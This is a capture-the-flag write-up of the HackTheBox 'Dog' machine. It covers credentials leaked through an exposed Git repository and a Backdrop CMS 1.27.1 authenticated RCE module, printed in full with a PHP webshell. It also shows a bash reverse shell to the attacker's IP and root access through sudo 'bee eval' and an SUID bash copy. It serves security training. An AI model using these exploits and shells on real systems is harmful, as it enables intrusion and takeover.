Dog – HackTheBox Link to heading
- OS: Linux
- Difficulty: Easy
- Platform: HackTheBox
Summary Link to heading
“Dog” is an Easy box from HackTheBox
platform. The victim machine is running a web server running Backdrop CMS
that also leaks a Git
repository. Logs in this repository shows credentials to Backdrop CMS
. We find that the version running on the server is vulnerable to an authenticated Remote Code Execution, allowing us to gain access to the victim machine. Once inside the machine, we are able to enumerate users in it. We find that the password used at Backdrop CMS
portal is also used by other user in the system. This second user can run Bee
(a gadget for Backdrop CMS
) with sudo
, which allow us to execute commands as root
user and compromise the system.
User Link to heading
We start with an Nmap
scan:
❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn -vvv 10.10.11.58
We only can see 2 ports open: 22
SSH
and 80
HTTP
.
Use -sVC
flags to apply some recognition scripts over these ports:
❯ sudo nmap -sVC -p22,80 10.10.11.58
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-10 03:02 -03
Nmap scan report for 10.10.11.58
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
| 256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_ 256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin
| /comment/reply /filter/tips /node/add /search /user/register
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
| http-git:
| 10.10.11.58:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: todo: customize url aliases. reference:https://docs.backdro...
|_http-title: Home | Dog
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.30 seconds
From the output scan we can see an interesting result: there is a .git
directory.
Use WhatWeb
against the target machine to check some technologies being applied by the target:
❯ whatweb -a 3 http://10.10.11.58
http://10.10.11.58 [200 OK] Apache[2.4.41], Content-Language[en], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.58], UncommonHeaders[x-backdrop-cache,x-content-type-options,x-generator], X-Frame-Options[SAMEORIGIN]
The server is running on Apache
.
Visiting http://10.10.11.58
shows a webpage on different topics about dogs:
At the very bottom we can see the text Powered by Backdrop CMS
and a link to its webpage.
Backdrop CMS
is an Open source, community-developed, Content Management System
(CMS
), written in PHP
, and licensed under the GNU General Public License.We are not able to create a user.
Since we were able to find a .git
directory from Nmap
scan, download it using git-dumper
(which can be installed with pip3 install git-dumper
):
❯ git-dumper http://10.10.11.58/.git/ git_content
<SNIP>
We store all the downloaded contents at git_content
directory.
Checking settings.php
and after filtering some commented and empty files with grep
we get:
❯ cat settings.php | grep -vE '\*|^$|^//'
<?php
$database = 'mysql://root:BackDropJ2024DS2024@127.0.0.1/backdrop';
$database_prefix = '';
<SNIP>
We have credentials for MySQL
service: root:BackDropJ2024DS2024
.
However, these credentials do not work at the main Login
webpage.
From the downloaded directory, we can search for commits that contain the word @dog
to search for other users that have requested a commit.
❯ git log -G '@dog' --oneline
and get as output:
8204779 (HEAD -> master) todo: customize url aliases. reference:https://docs.backdropcms.org/documentation/url-aliases
We have a commit that has this word, the commit 8204779
.
Check this commit:
❯ git show 8204779
And eventually we find:
<SNIP>
+ "update_timeout": 30,
+ "update_emails": [
+ "tiffany@dog.htb"
+ ],
+ "update_threshold": "all",
+ "update_requirement_type": 0,
<SNIP>
Besides root
we have another user: tiffany
.
If we go to the login page (http://10.10.11.58/?q=user/login
) and we use the credentials tiffany:BackDropJ2024DS2024
works this time. We are redirected to http://10.10.11.58/?q=admin/dashboard
page, where we can see:
If we go to Reports -> Available updates -> List available updates
we get a version: 1.27.1
.
Looking for exploits for this page with SearchSploit
we get:
❯ searchsploit backdrop
--------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------- ---------------------------------
Backdrop CMS 1.20.0 - 'Multiple' Cross-Site Reques | php/webapps/50323.html
Backdrop CMS 1.23.0 - Stored XSS | php/webapps/51905.txt
Backdrop CMS 1.27.1 - Authenticated Remote Command | php/webapps/52021.py
Backdrop Cms v1.25.1 - Stored Cross-Site Scripting | php/webapps/51597.txt
--------------------------------------------------- ---------------------------------
Shellcodes: No Results
There is an Authenticated RCE
for Backdrop CMS
version 1.27.1
. The version shown at the webpage shows that the site should be vulnerable. Copy it and rename it:
❯ searchsploit -m 52021
Exploit: Backdrop CMS 1.27.1 - Authenticated Remote Command Execution (RCE)
URL: https://www.exploit-db.com/exploits/52021
Path: /usr/share/exploitdb/exploits/php/webapps/52021.py
Codes: N/A
Verified: True
File Type: Python script, Unicode text, UTF-8 text executable
Copied to: /home/gunzf0x/HTB/HTBMachines/Easy/Dog/exploits/52021.py
❯ mv 52021.py Backdrop_CMS_Auth_RCE.py
Running it, passing as argument the victim IP address, creates a .zip
file that is a malicious module:
❯ python3 Backdrop_CMS_Auth_RCE.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.zip
Go to http://10.10.11.58/admin/modules/install and upload the shell.zip for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php
❯ ls
Backdrop_CMS_Auth_RCE.py shell shell.zip
More specifically, we have a malicious module called shell.zip
.
We can go back to the webpage and click on Functionality
and then on Insall New Modules
. We can now see:
At the bottom right side, we can see Manual Installation
option. Click on it. Then, go to Upload a module, theme, or layout archive to install
and upload the generated shell.zip
file from the Python
script:
And click on INSTALL
. But we get an error. .zip
files are not allowed, only .tar
, .tar.gz
, among other formats, but not .zip
.
We slightly modify the Python
script to generate a .tar.gz
file instead of a .zip
file. We just modify the create_zip
function to create_tar
and import tarfile
Python
library to create .tar.gz
files:
import os
import time
import tarfile
def create_files():
info_content = """
type = module
name = Block
description = Controls the visual building blocks a page is constructed
with. Blocks are boxes of content rendered into an area, or region, of a
web page.
package = Layouts
tags[] = Blocks
tags[] = Site Architecture
version = BACKDROP_VERSION
backdrop = 1.x
configure = admin/structure/block
; Added by Backdrop CMS packaging script on 2024-03-07
project = backdrop
version = 1.27.1
timestamp = 1709862662
"""
shell_info_path = "shell/shell.info"
os.makedirs(os.path.dirname(shell_info_path), exist_ok=True) # Klasörüoluşturur
with open(shell_info_path, "w") as file:
file.write(info_content)
shell_content = """
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>
"""
shell_php_path = "shell/shell.php"
with open(shell_php_path, "w") as file:
file.write(shell_content)
return shell_info_path, shell_php_path
def create_tar(info_path, php_path):
tar_filename = "shell.tar.gz"
with tarfile.open(tar_filename, "w:gz") as tarf:
tarf.add(info_path, arcname='shell/shell.info')
tarf.add(php_path, arcname='shell/shell.php')
return tar_filename
def main(url):
print("Backdrop CMS 1.27.1 - Remote Command Execution Exploit")
time.sleep(3)
print("Evil module generating...")
time.sleep(2)
info_path, php_path = create_files()
tar_filename = create_tar(info_path, php_path)
print("Evil module generated!", tar_filename)
time.sleep(2)
print("Go to " + url + "/admin/modules/install and upload the " +
tar_filename + " for Manual Installation.")
time.sleep(2)
print("Your shell address:", url + "/modules/shell/shell.php")
if __name__ == "__main__":
import sys
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} [url]")
else:
main(sys.argv[1])
and save it as Backdrop_CMS_Auth_RCE_modified.py
.
Run the modified script:
❯ python3 Backdrop_CMS_Auth_RCE_modified.py http://10.10.11.58
Backdrop CMS 1.27.1 - Remote Command Execution Exploit
Evil module generating...
Evil module generated! shell.tar.gz
Go to http://10.10.11.58/admin/modules/install and upload the shell.tar.gz for Manual Installation.
Your shell address: http://10.10.11.58/modules/shell/shell.php
We now upload the generated .tar.gz
file as a module and now we get a successful message:
We then visit:
http://10.10.11.58//modules/shell/shell.php?cmd=id
and we have a Webshell
:
cronjob
constantly removing the module, so we might need to install it again.Start a listener with netcat
on port 443
:
❯ nc -lvnp 443
listening on [any] 443 ...
and send us a reverse shell through the webshell with the command:
http://10.10.11.58//modules/shell/shell.php?cmd=bash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.16.2%2F443+0%3E%261%22
Where we have passed the payload:
bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"
We get a shell as www-data
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.58] 53532
bash: cannot set terminal process group (1025): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dog:/var/www/html/modules/shell$ whoami
whoami
www-data
We have 3 users in the machine:
www-data@dog:/var/www/html/modules/shell$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
jobert:x:1000:1000:jobert:/home/jobert:/bin/bash
johncusack:x:1001:1001:,,,:/home/johncusack:/bin/bash
We check if the previously found password (BackDropJ2024DS2024
) works for any of these users for SSH
with NetExec
:
❯ nxc ssh 10.10.11.58 -u root jobert johncusack -p 'BackDropJ2024DS2024'
SSH 10.10.11.58 22 10.10.11.58 [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH 10.10.11.58 22 10.10.11.58 [-] root:BackDropJ2024DS2024
SSH 10.10.11.58 22 10.10.11.58 [-] jobert:BackDropJ2024DS2024
SSH 10.10.11.58 22 10.10.11.58 [+] johncusack:BackDropJ2024DS2024 Linux - Shell access!
We have valid credentials: johncusack:BackDropJ2024DS2024
.
And log in with this password using SSH
service as johncusack
user:
❯ sshpass -p 'BackDropJ2024DS2024' ssh -o stricthostkeychecking=no johncusack@10.10.11.58
<SNIP>
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
Last login: Tue Mar 4 17:04:29 2025 from 10.10.16.2
johncusack@dog:~$
We can grab the user flag.
Root Link to heading
Checking what can this user run with sudo
we get:
johncusack@dog:~$ sudo -l
[sudo] password for johncusack:
Matching Defaults entries for johncusack on dog:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User johncusack may run the following commands on dog:
(ALL : ALL) /usr/local/bin/bee
Checking what is this file we get:
johncusack@dog:~$ file /usr/local/bin/bee
/usr/local/bin/bee: symbolic link to /backdrop_tool/bee/bee.php
Checking this file after removing some comments we get that bee.php
script is:
#!/usr/bin/env php
<?php
/**
* @file
* A command line utility for Backdrop CMS.
*/
if (!bee_is_cli()) {
echo bee_browser_load_html();
die();
}
set_error_handler('bee_error_handler');
require_once __DIR__ . '/includes/miscellaneous.inc';
require_once __DIR__ . '/includes/command.inc';
require_once __DIR__ . '/includes/render.inc';
require_once __DIR__ . '/includes/filesystem.inc';
require_once __DIR__ . '/includes/input.inc';
require_once __DIR__ . '/includes/
';
bee_initialize_server();
bee_parse_input();
bee_initialize_console();
bee_process_command();
bee_print_messages();
bee_display_output();
exit();
/**
* Custom error handler for `bee`.
*
* @param int $error_level
* The level of the error.
* @param string $message
* Error message to output to the user.
* @param string $filename
* The file that the error came from.
* @param int $line
* The line number the error came from.
* @param array $context
* An array of all variables from where the error was triggered.
*
* @see _backdrop_error_handler()
*/
function bee_error_handler($error_level, $message, $filename, $line, array $context = NULL) {
require_once __DIR__ . '/includes/errors.inc';
_bee_error_handler_real($error_level, $message, $filename, $line, $context);
}
/**
* Detects whether the current script is running in a command-line environment.
*/
function bee_is_cli() {
return (empty($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' || (is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));
}
/**
* Return the HTML to display if this page is loaded in the browser.
*
* @return string
* The concatentated html to display.
*/
function bee_browser_load_html() {
$title = "Bee Gone!";
$browser_output = "<div style='background-color:white;position:absolute;width:15rem;height:3rem;top:0;left:0;z-index:9;'> </div>";
$browser_output .= "<img src='./images/bee.png' align='right' width='150' height='157' style='max-width:100%;margin-top:3rem;'>";
$browser_output .= "<h1 style='font-family:Tahoma;'>$title</h1>";
$browser_output .= "<p style='font-family:Verdana;'>Bee is a command line tool only and will not work in the browser.</p>";
$browser_output .= "<script>window.onload = function(){document.title='$title';}</script>";
return $browser_output;
}
This script checks if it is executed from a Command Line Interface|CLI
(terminal). If it running from a terminal, it loads some files and process commands.
Searching a little bit we find this page for ‘Bee’.
Bee
is a command line utility for Backdrop CMS
. It includes commands that allow developers to interact with Backdrop sites, performing actions like: Running cron, Clearing caches, Downloading and installing Backdrop
, enable disable projects; among other functions.Going to Bee Wiki we can search how tu run commands. Eventually, we find an eval
function that allow us to do it as it is specified at Bee’s eval Wiki. In short, we can run PHP
code using this command as:
bee eval '<PHP Code to execute here>'
Therefore, we go to /var/www/html
directory. And inject a command through eval
function using system
function from PHP
; we create a copy of /bin/bash
and, to that copy, assign to it SUID
permissions:
johncusack@dog:~$ cd /var/www/html
johncusack@dog:/var/www/html$ sudo /usr/local/bin/bee eval "system('cp /bin/bash /tmp/gunzf0x; chmod 4755 /tmp/gunzf0x');"
Check if this file has been generated:
johncusack@dog:/var/www/html$ ls -la /tmp
total 1208
drwxrwxrwt 13 root root 4096 Mar 10 09:05 .
drwxr-xr-x 19 root root 4096 Feb 7 18:31 ..
drwxrwxrwt 2 root root 4096 Mar 10 08:18 .font-unix
-rwsr-xr-x 1 root root 1183448 Mar 10 09:05 gunzf0x
drwxrwxrwt 2 root root 4096 Mar 10 08:18 .ICE-unix
<SNIP>
and use this file to become root
user:
johncusack@dog:/var/www/html$ /tmp/gunzf0x -p
gunzf0x-5.0# whoami
root
GG. We can grab the root
flag at /root
directory.
~Happy Hacking.